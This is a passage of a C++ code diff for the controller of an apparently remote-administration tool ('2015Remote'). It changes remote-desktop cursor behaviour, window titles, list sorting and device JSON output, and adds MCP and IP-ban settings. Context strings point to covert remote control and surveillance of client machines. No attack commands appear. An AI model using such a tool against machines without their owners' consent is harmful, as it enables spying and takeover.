+    matched = matchColumn(ipText);
+    if (!matched.empty()) {
+        outMatchedKeyword = matched;
+        m_config.lastNotifyTime[clientId] = now;
+        return true;
     }
 
     return false;

server/2015Remote/NotifySettingsDlg.cpp

@@ -111,10 +111,10 @@ void NotifySettingsDlg::PopulateComboBoxes()
         { ONLINELIST_VIDEO,        _T("摄像头") },
         { ONLINELIST_PING,         _T("延迟") },
         { ONLINELIST_VERSION,      _T("版本") },
-        { ONLINELIST_PRIVILEGE,    _T("权限") },
         { ONLINELIST_INSTALLTIME,  _T("安装时间") },
         { ONLINELIST_LOGINTIME,    _T("活动窗口") },
         { ONLINELIST_CLIENTTYPE,   _T("客户端类型") },
+        { ONLINELIST_PRIVILEGE,    _T("权限") },
     };
     for (const auto& col : columns) {
         CString item;

server/2015Remote/ScreenSpyDlg.cpp

@@ -648,7 +648,7 @@ void CScreenSpyDlg::PrepareDrawing(const LPBITMAPINFO bmp)
     m_BitmapData_Full = NULL;
 
     CString strString;
-    strString.FormatL("%s - 远程桌面控制 %d×%d", m_IPAddress, bmp->bmiHeader.biWidth, bmp->bmiHeader.biHeight);
+    strString.FormatL("%s - 远程桌面控制 %d×%d", GetTitleHostName().GetString(), bmp->bmiHeader.biWidth, bmp->bmiHeader.biHeight);
     SetWindowText(strString);
     uint64_t dlg = (uint64_t)this;
     Mprintf("%s [对话框ID: %llu]\n", strString.GetString(), dlg);
@@ -843,13 +843,9 @@ BOOL CScreenSpyDlg::OnInitDialog()
     m_ClientCursorPos.y = 0;
     m_bCursorIndex = 0;
 
-    m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
-    ICONINFO CursorInfo;
-    ::GetIconInfo(m_hRemoteCursor, &CursorInfo);
     SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
     SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
     SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
-    SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
     ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
 
     // 设置合理的"正常"窗口大小，显示在主程序所在的显示器上
@@ -1990,7 +1986,23 @@ void CScreenSpyDlg::OnPaint()
 
 BOOL CScreenSpyDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message)
 {
-    if ((m_bIsCtrl && m_Settings.RemoteCursor) && nHitTest == HTCLIENT) {
+    // 查看模式(未开启远程控制)：客户区显示禁止图标；标题栏及系统按钮保持正常箭头，
+    // 便于拖动窗口或通过标题栏右键菜单开启远程控制。
+    // 这里按窗口自身状态判断，避免用窗口类光标(GCLP_HCURSOR)时被同类的其他对话框实例
+    // 共享串扰——打开第二个未控制的对话框后，第一个已控制的对话框也被误显示成禁止图标。
+    if (!m_bIsCtrl && nHitTest == HTCLIENT) {
+        ::SetCursor(LoadCursor(NULL, IDC_NO));
+        return TRUE;
+    }
+    if (!m_bIsCtrl &&
+        (nHitTest == HTCAPTION || nHitTest == HTSYSMENU || nHitTest == HTMENU ||
+         nHitTest == HTCLOSE || nHitTest == HTMINBUTTON || nHitTest == HTMAXBUTTON ||
+         nHitTest == HTHELP)) {
+        ::SetCursor(LoadCursor(NULL, IDC_ARROW));
+        return TRUE;
+    }
+    // 控制模式：保持原有逻辑——显示远程光标时客户区隐藏本地物理光标，否则交父类显示远程形状
+    if (m_bIsCtrl && m_Settings.RemoteCursor && nHitTest == HTCLIENT) {
         ::SetCursor(NULL); // 只要在客户区，始终隐藏系统光标
         return TRUE;       // 告诉 Windows 我们处理过了
     }
@@ -2084,7 +2096,6 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
         }
         SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
         SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
-        SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
         // 控制模式：禁用本地 IME；查看模式：启用本地 IME
         ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
         break;
@@ -2429,6 +2440,17 @@ void CScreenSpyDlg::OnTimer(UINT_PTR nIDEvent)
     __super::OnTimer(nIDEvent);
 }
 
+CString CScreenSpyDlg::GetTitleHostName() const
+{
+    // 标题栏显示的主机名：有备注用备注，否则用 IP
+    if (m_pParent && m_pParent->m_ClientMap) {
+        CString note = m_pParent->m_ClientMap->GetClientMapData(GetClientID(), MAP_NOTE);
+        if (!note.IsEmpty())
+            return note;
+    }
+    return m_IPAddress;
+}
+
 void CScreenSpyDlg::UpdateWindowTitle()
 {
     if (!m_BitmapInfor_Full) return;
@@ -2444,10 +2466,10 @@ void CScreenSpyDlg::UpdateWindowTitle()
     UINT fps = (UINT)(m_dFrameRate + 0.5);  // 四舍五入显示
     if (m_dTransferRate >= 1024) {
         strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.1f MB/s%s",
-            m_IPAddress, width, height, fps, m_dTransferRate / 1024, qualityName.GetString());
+            GetTitleHostName().GetString(), width, height, fps, m_dTransferRate / 1024, qualityName.GetString());
     } else {
         strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.0f KB/s%s",
-            m_IPAddress, width, height, fps, m_dTransferRate, qualityName.GetString());
+            GetTitleHostName().GetString(), width, height, fps, m_dTransferRate, qualityName.GetString());
     }
     // 追加剪贴板操作提示
     strTitle += (m_Settings.ScreenType == 2) ?
@@ -3473,9 +3495,6 @@ void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point)
             // 关键：在控制模式下，强制设置光标为空，隐藏本地物理箭头
             ::SetCursor(NULL);
         }
-    } else if (!m_bMouseTracking) {
-        m_bMouseTracking = true;
-        SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
     }
 
     __super::OnMouseMove(nFlags, point);
@@ -3484,9 +3503,6 @@ void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point)
 void CScreenSpyDlg::OnMouseLeave()
 {
     CWnd::OnMouseLeave();
-
-    m_bMouseTracking = false;
-    SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
 }
 
 void CScreenSpyDlg::OnKillFocus(CWnd* pNewWnd)
@@ -3566,7 +3582,6 @@ void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl)
             Invalidate(FALSE);
         }
     }
-    SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
     // 控制模式：禁用本地 IME；查看模式：启用本地 IME
     ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
     CMenu* SysMenu = GetSystemMenu(FALSE);

server/2015Remote/ScreenSpyDlg.h

@@ -234,6 +234,9 @@ public:
     // fillMode: 0=不填充, 1=全黑, 2=半透明
     VOID DrawTipString(CString strString, int fillMode=1);
 
+    // 标题栏显示的主机名：有备注用备注，否则用 IP
+    CString GetTitleHostName() const;
+
     POINT  m_ClientCursorPos;
     BYTE m_bCursorIndex;
     BOOL     m_bIsTraceCursor;
@@ -274,13 +277,11 @@ public:
     clock_t				m_lastMouseMove; // 鼠标移动时间
     POINT				m_lastMousePoint;// 上次鼠标位置
     BOOL				m_bAdaptiveSize = TRUE;
-    HCURSOR				m_hRemoteCursor = NULL;
     HCURSOR             m_hCustomCursor = NULL;      // 缓存的自定义光标
     DWORD               m_dwCustomCursorHash = 0;    // 当前自定义光标哈希
     CRect				m_CRect;
     double				m_wZoom=1, m_hZoom=1;
     int                 m_offsetX=0, m_offsetY=0; // 自适应模式黑边偏移（像素）
-    bool				m_bMouseTracking = false;
 
     // 自适应黑边合成缓冲（按窗口尺寸缓存，避免每帧分配 GDI 资源）
     HDC     m_hComposeDC = NULL;

server/2015Remote/SystemDlg.cpp

@@ -80,6 +80,7 @@ BOOL CSystemDlg::OnInitDialog()
     SetWindowText(str);//设置对话框标题
 
     m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
+    LoadSortPreference();          // 加载上次记忆的排序偏好
     if (m_bHow==TOKEN_PSLIST) {    //进程管理初始化列表
         m_ControlList.InsertColumnL(0, "映像名称", LVCFMT_LEFT, 180);
         m_ControlList.InsertColumnL(1, "PID", LVCFMT_LEFT, 70);
@@ -227,6 +228,8 @@ void CSystemDlg::ShowWindowsList(void)
     lvc.pszText = str.GetBuffer(0);
     lvc.cchTextMax = str.GetLength();
     m_ControlList.SetColumn(1, &lvc);
+
+    ApplySort();  // 应用记忆的排序偏好
 }
 
 void CSystemDlg::ShowProcessList(void)
@@ -260,8 +263,8 @@ void CSystemDlg::ShowProcessList(void)
         m_ControlList.SetItemText(i, 1, str);
         m_ControlList.SetItemText(i, 2, szProcessFullPath);
         m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str());
-        // ItemData 为进程ID
+        // ItemData 为进程ID；Data[3] 需与第 4 列"架构"一致，否则按架构排序拿到空串而无意义
-        auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath}, arr[1].c_str() };
+        auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath, arr[1].empty() ? "N/A" : arr[1].c_str()}, arr[1].c_str() };
         m_ControlList.SetItemData(i, DWORD_PTR(data));
 
         dwOffset += sizeof(DWORD) + lstrlen(szExeFile) + lstrlen(szProcessFullPath) + 2;   //跳过这个数据结构 进入下一个循环
@@ -273,6 +276,8 @@ void CSystemDlg::ShowProcessList(void)
     lvc.pszText = str.GetBuffer(0);
     lvc.cchTextMax = str.GetLength();
     m_ControlList.SetColumn(2, &lvc); //在列表中显示有多少个进程
+
+    ApplySort();  // 应用记忆的排序偏好
 }
 
 
@@ -319,8 +324,6 @@ int CALLBACK CSystemDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM
 
 void CSystemDlg::SortByColumn(int nColumn)
 {
-    static int m_nSortColumn = 0;
-    static bool m_bSortAscending = false;
     if (nColumn == m_nSortColumn) {
         // 如果点击的是同一列，切换排序顺序
         m_bSortAscending = !m_bSortAscending;
@@ -330,11 +333,56 @@ void CSystemDlg::SortByColumn(int nColumn)
         m_bSortAscending = true;
     }
 
+    ApplySort();
+    SaveSortPreference();
+}
+
+void CSystemDlg::ApplySort()
+{
+    // 无有效排序偏好时保持列表原始顺序
+    if (m_nSortColumn < 0) {
+        return;
+    }
+
+    // 防御：配置被手动修改导致列索引越界时跳过排序
+    CHeaderCtrl* pHeader = m_ControlList.GetHeaderCtrl();
+    if (pHeader && m_nSortColumn >= pHeader->GetItemCount()) {
+        return;
+    }
+
     // 创建排序信息
     std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
     m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
 }
 
+void CSystemDlg::LoadSortPreference()
+{
+    // 进程管理 / 窗口管理 分别记忆各自的排序偏好
+    const char* key = (m_bHow == TOKEN_PSLIST) ? "ProcessListSort" : "WindowListSort";
+    std::string val = THIS_CFG.GetStr("list", key, "");
+    if (val.empty()) {
+        m_nSortColumn = -1;      // 无偏好：保持列表原始顺序
+        m_bSortAscending = true;
+        return;
+    }
+
+    auto arr = StringToVector(val, ',');
+    if (arr.size() >= 2) {
+        m_nSortColumn = atoi(arr[0].c_str());
+        m_bSortAscending = (atoi(arr[1].c_str()) != 0);
+    } else {
+        m_nSortColumn = -1;
+        m_bSortAscending = true;
+    }
+}
+
+void CSystemDlg::SaveSortPreference()
+{
+    const char* key = (m_bHow == TOKEN_PSLIST) ? "ProcessListSort" : "WindowListSort";
+    std::string val = std::to_string(m_nSortColumn) + "," + (m_bSortAscending ? "1" : "0");
+    THIS_CFG.SetStr("list", key, val);
+}
+
 void CSystemDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
 {
     LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);

server/2015Remote/SystemDlg.h

@@ -19,6 +19,8 @@ public:
     void OnReceiveComplete(void);
     CWnd* m_pParent;
     BOOL   m_bHow;
+    int    m_nSortColumn = -1;      // 当前排序列，-1 表示未排序
+    bool   m_bSortAscending = true; // 排序方向（true=升序）
 // 对话框数据
     enum { IDD = IDD_DIALOG_SYSTEM };
 
@@ -32,6 +34,9 @@ public:
 
     void DeleteAllItems();
     void SortByColumn(int nColumn);
+    void ApplySort();
+    void LoadSortPreference();
+    void SaveSortPreference();
     afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
     static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
 

server/2015Remote/UIBranding.h

@@ -171,6 +171,7 @@
 #define HIDE_MENU_RELOAD_PLUGINS        0   // 重新加载插件
 #define HIDE_MENU_PLUGIN_REQUEST        0   // 插件请求
 #define HIDE_MENU_FRPS_FOR_SUB          0   // 下级FRP
+#define HIDE_MENU_MCP_SETTINGS          0   // MCP设置
 
 // --- 扩展菜单 - 语言子菜单 ---
 #define HIDE_MENU_CHANGE_LANG           0   // 更改语言
@@ -298,6 +299,8 @@
 // 用的 master password 解耦——后者一旦泄漏影响面更大，应避免在公网登录
 // 时复用。与 Go 服务端的 YAMA_WEB_ADMIN_PASS 语义一致。
 #define BRAND_WEB_ENV_VAR       "YAMA_WEB_ADMIN_PASS"
+// MCP 服务端静态 token 环境变量（优先级高于 settings/McpToken）
+#define BRAND_MCP_ENV_VAR       "YAMA_MCP_TOKEN"
 
 // --- 宽字符版本（自动生成）---
 #define BRAND_APP_NAME_W        _T(BRAND_APP_NAME)

server/2015Remote/WebService.cpp

@@ -6,6 +6,7 @@
 #include "2015RemoteDlg.h"
 #include "Server.h"  // For CONTEXT_OBJECT
 #include "jsoncpp/json.h"
+#include "HostJson.h"  // BuildHostJson（单台主机序列化公共函数）
 #include "WebPage.h"
 #include "SimpleWebSocket.h"
 #include "common/commands.h"
@@ -88,31 +89,6 @@ static void ClearNonce(void* ws_ptr) {
     s_ClientNonces.erase(ws_ptr);
 }
 
-// Helper: Convert ANSI (GBK) string to UTF-8
-static std::string AnsiToUtf8(const CString& str) {
-    if (str.IsEmpty()) return "";
-#ifdef _UNICODE
-    // Unicode build: CString is already UTF-16, convert to UTF-8
-    int len = WideCharToMultiByte(CP_UTF8, 0, str, -1, NULL, 0, NULL, NULL);
-    if (len <= 0) return "";
-    std::string result(len - 1, '\0');
-    WideCharToMultiByte(CP_UTF8, 0, str, -1, &result[0], len, NULL, NULL);
-    return result;
-#else
-    // MBCS build: CString is ANSI (GBK), need to convert to UTF-16 first, then to UTF-8
-    int wlen = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);
-    if (wlen <= 0) return "";
-    std::wstring wstr(wlen - 1, L'\0');
-    MultiByteToWideChar(CP_ACP, 0, str, -1, &wstr[0], wlen);
-
-    int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
-    if (u8len <= 0) return "";
-    std::string result(u8len - 1, '\0');
-    WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &result[0], u8len, NULL, NULL);
-    return result;
-#endif
-}
-
 //////////////////////////////////////////////////////////////////////////
 // CWebService Implementation
 //////////////////////////////////////////////////////////////////////////
@@ -1544,71 +1520,9 @@ std::string CWebService::BuildDeviceListJson(const std::string& username) {
                 if (!allowed) continue;  // Skip device not in allowed groups
             }
 
-            Json::Value device;
+            // 单台主机序列化委托给公共函数 BuildHostJson（与 MCP 侧复用，
-            // Use string for ID to avoid JavaScript number precision loss
+            // 字段与编码转换逻辑保持一致，见 docs/Mcp_Design.md §3.4 方案 C）。
-            device["id"] = std::to_string(ctx->GetClientID());
+            Json::Value device = BuildHostJson(ctx, m_pParentDlg->m_ClientMap);
-
-            CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
-            device["name"] = AnsiToUtf8(name);
-
-            // 用户在 MFC 端给这台主机起的备注（菜单"修改备注"写入 MAP_NOTE）
-            // 例如 hostname="A6" + remark="我的Windows" → web 显示"A6 (我的Windows)"
-            if (m_pParentDlg->m_ClientMap) {
-                CString remark = m_pParentDlg->m_ClientMap->GetClientMapData(
-                    ctx->GetClientID(), MAP_NOTE);
-                if (!remark.IsEmpty()) {
-                    device["remark"] = AnsiToUtf8(remark);
-                }
-            }
-
-            CString ip = ctx->GetClientData(ONLINELIST_IP);
-            device["ip"] = AnsiToUtf8(ip);
-
-            CString os = ctx->GetClientData(ONLINELIST_OS);
-            device["os"] = AnsiToUtf8(os);
-
-            CString location = ctx->GetClientData(ONLINELIST_LOCATION);
-            device["location"] = AnsiToUtf8(location);
-
-            CString rtt = ctx->GetClientData(ONLINELIST_PING);
-            device["rtt"] = AnsiToUtf8(rtt);
-
-            CString version = ctx->GetClientData(ONLINELIST_VERSION);
-            device["version"] = AnsiToUtf8(version);
-
-            // 活动窗口编码由客户端能力位决定：新客户端是 UTF-8，老客户端是 CP_ACP（默认 936）。
-            // 不能像其它字段那样无脑 AnsiToUtf8——会把新客户端的 UTF-8 字节再当 GBK 双重编码。
-            CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
-            std::string activeWindowU8;
-            if (!activeWindow.IsEmpty()) {
-                UINT cp = GetClientEncoding(ctx);
-                int wlen = MultiByteToWideChar(cp, 0, activeWindow, -1, NULL, 0);
-                if (wlen > 1) {
-                    std::wstring w(wlen - 1, L'\0');
-                    MultiByteToWideChar(cp, 0, activeWindow, -1, &w[0], wlen);
-                    int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
-                    if (u8len > 1) {
-                        activeWindowU8.resize(u8len - 1);
-                        WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWindowU8[0], u8len, NULL, NULL);
-                    }
-                }
-            }
-            device["activeWindow"] = activeWindowU8;
-            device["online"] = true;
-
-            // Add device group to response
-            device["group"] = deviceGroup;
-
-            // Get screen info from client's reported resolution
-            // Format: "n:MxN" where n=monitor count, M=width, N=height
-            CString resolution = ctx->GetAdditionalData(RES_RESOLUTION);
-            if (!resolution.IsEmpty()) {
-                device["screen"] = AnsiToUtf8(resolution);  // e.g. "2:3840x1080"
-            }
-
-            CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
-            device["clientType"] = AnsiToUtf8(clientType);  // e.g. "MAC", "LNX", "EXE"
-
             res["devices"].append(device);
         }
         LeaveCriticalSection(&m_pParentDlg->m_cs);

server/2015Remote/context.h

@@ -14,7 +14,6 @@ enum {
     ONLINELIST_VIDEO,           // 摄像头(有无)
     ONLINELIST_PING,            // PING(对方的网速)
     ONLINELIST_VERSION,	        // 版本信息
-    ONLINELIST_PRIVILEGE,       // 权限级别 (SYSTEM/Admin/User)
     ONLINELIST_INSTALLTIME,     // 安装时间
     ONLINELIST_LOGINTIME,       // 活动窗口
     ONLINELIST_CLIENTTYPE,		// 客户端类型
@@ -22,6 +21,7 @@ enum {
     ONLINELIST_PUBIP,
     ONLINELIST_STARTTIME,
     ONLINELIST_CAPABILITIES,    // 客户端能力位
+    ONLINELIST_PRIVILEGE,       // 权限级别 (SYSTEM/Admin/User)
     ONLINELIST_MAX,
 };
 

server/2015Remote/lang/en_US.ini

@@ -427,6 +427,7 @@ Rar
 生成+AES -> bin 文件=Generate+AES -> bin File
 测试 AES bin文件=Test AES bin File
 替换图标(&R)=&Replace Icon
+插件(&P)=&Plugins
 刷新插件(&P)=Refresh &Plugins
 口令生成(&A)=&Auth Generate
 主控生成(&M)=&Master Generate
@@ -1956,6 +1957,7 @@ FRPC Զ
 设置失败! 通常是权限不足, 请手动在系统环境变量设置。=Failed! You have to set it via system environment center.
 运行日志=Client Log
 客户端日志=Client Log
+历史活动=Activity History
 封禁使用=Forbidden Client
 确定封禁选定的被控程序吗?=Are you sure to forbidden the selected clients?
 无结果=Not found
@@ -1965,3 +1967,24 @@ FRPC Զ
 搜索日志=Search Logs
 隐藏搜索=Hide Search
 请=Please
+所选日志消息中未检测到有效的 IP 地址=No valid IP address detected in the selected log messages
+所有解析出的 IP 已在上线提醒列表中=All extracted IPs are already in the login notify list
+已添加 %d 个 IP 到上线提醒列表=Added %d IP(s) to login notify list
+封禁IP=Ban IP
+已封禁 %d 个 IP=Banned %d IP(s)
+%d 个 IP 已在黑名单中=%d IP(s) already in blacklist
+%d 个 IP 在白名单中，已跳过=%d IP(s) in whitelist, skipped
+未执行任何操作=No action taken
+解除封禁=Unban IP
+已将 %d 个 IP 从黑名单移除=Removed %d IP(s) from blacklist
+已恢复 %d 个客户端的授权状态=Restored authorization for %d client(s)
+未找到需要解除封禁的 IP=No IPs found that need unbanning
+; ===== MCP Settings =====
+MCP设置=MCP Settings
+MCP设置(&M)...=MCP Settings(&M)...
+启用 MCP=Enable MCP
+绑定地址=Bind Address
+端口需为 1-65535 的数字=Port must be a number between 1 and 65535
+Token 不能为空=Token cannot be empty
+MCP 设置已保存。=MCP settings saved.
+启用/端口/绑定地址/Token 的改动需重启程序生效。=Changes to enable/port/bind address/token take effect after restart.

server/2015Remote/lang/zh_TW.ini

@@ -427,6 +427,7 @@ Rar
 生成+AES -> bin 文件=產生+AES -> bin 檔案
 测试 AES bin文件=測試 AES bin 檔案
 替换图标(&R)=替換圖示(&R)
+插件(&P)=外掛程式(&P)
 刷新插件(&P)=重新整理外掛程式(&P)
 口令生成(&A)=密碼產生(&A)
 主控生成(&M)=主控產生(&M)
@@ -1947,6 +1948,7 @@ FRPC Զ
 设置失败! 通常是权限不足, 请手动在系统环境变量设置。=设置失败! 通常是权限不足, 请手动在系统环境变量设置。
 运行日志=运行日志
 客户端日志=客户端日志
+历史活动=歷史活動
 封禁使用=封禁使用
 确定封禁选定的被控程序吗?=确定封禁选定的被控程序吗?
 无结果=无结果
@@ -1956,3 +1958,24 @@ FRPC Զ
 搜索日志=搜索日志
 隐藏搜索=隐藏搜索
 请=请
+所有解析出的 IP 已在上线提醒列表中=所有解析出的 IP 已在上線提醒列表中
+已添加 %d 个 IP 到上线提醒列表=已新增 %d 個 IP 到上線提醒列表
+所选日志消息中未检测到有效的 IP 地址=所選日誌消息中未檢測到有效的 IP 位址
+封禁IP=封禁IP
+已封禁 %d 个 IP=已封禁 %d 個 IP
+%d 个 IP 已在黑名单中=%d 個 IP 已在黑名單中
+%d 个 IP 在白名单中，已跳过=%d 個 IP 在白名單中，已跳過
+未执行任何操作=未執行任何操作
+解除封禁=解除封禁
+已将 %d 个 IP 从黑名单移除=已將 %d 個 IP 從黑名單移除
+已恢复 %d 个客户端的授权状态=已恢復 %d 個客戶端的授權狀態
+未找到需要解除封禁的 IP=未找到需要解除封禁的 IP
+; ===== MCP Settings =====
+MCP设置=MCP設定
+MCP设置(&M)...=MCP設定(&M)...
+启用 MCP=啟用 MCP
+绑定地址=綁定位址
+端口需为 1-65535 的数字=連接埠需為 1-65535 的數字
+Token 不能为空=Token 不能為空
+MCP 设置已保存。=MCP 設定已儲存。
+启用/端口/绑定地址/Token 的改动需重启程序生效。=啟用/連接埠/綁定位址/Token 的變更需重新啟動程式後生效。

server/2015Remote/resource.h

@@ -277,6 +277,9 @@
 #define IDB_BITMAP_CLIENTLOG            395
 #define IDI_CLIENTLOG                   396
 #define IDB_BITMAP_FORBIDDEN            397
+#define IDB_BITMAP_HISTORY_ACTIVITY     398
+#define IDB_BITMAP_VIEW_WND             399
+#define IDB_BITMAP_PROXY_AUTORUN        400
 #define IDC_MESSAGE                     1000
 #define IDC_ONLINE                      1001
 #define IDC_STATIC_TIPS                 1002
@@ -991,8 +994,12 @@
 #define ID_CANCEL_SHARE                 33042
 #define ID_MSGLOG_COPY                  33043
 #define ID_MSGLOG_SEARCH                33078
+#define ID_MSGLOG_LOGIN_NOTIFY          33079
+#define ID_MSGLOG_BAN_IP                33080
+#define ID_MSGLOG_UNBAN_IP              33081
 #define ID_WEB_REMOTE_CONTROL           33044
 #define ID_TOOL_PLUGIN_SETTINGS         33045
+#define ID_MCP_SETTINGS                 33077
 #define ID_33046                        33046
 #define ID_PROXY_PORT_AUTORUN           33047
 #define ID_TRIGGER_SETTINGS             33048
@@ -1025,14 +1032,15 @@
 #define ID_ONLINE_CLIENT_LOG            33074
 #define ID_ONLINE_33075                 33075
 #define ID_ONLINE_FORBIDDEN             33076
+#define ID_ONLINE_HISTORY_ACTIVITY      33082
 #define ID_EXIT_FULLSCREEN              40001
 
 // Next default values for new objects
 // 
 #ifdef APSTUDIO_INVOKED
 #ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE        398
+#define _APS_NEXT_RESOURCE_VALUE        401
-#define _APS_NEXT_COMMAND_VALUE         33079
+#define _APS_NEXT_COMMAND_VALUE         33083
 #define _APS_NEXT_CONTROL_VALUE         2542
 #define _APS_NEXT_SYMED_VALUE           105
 #endif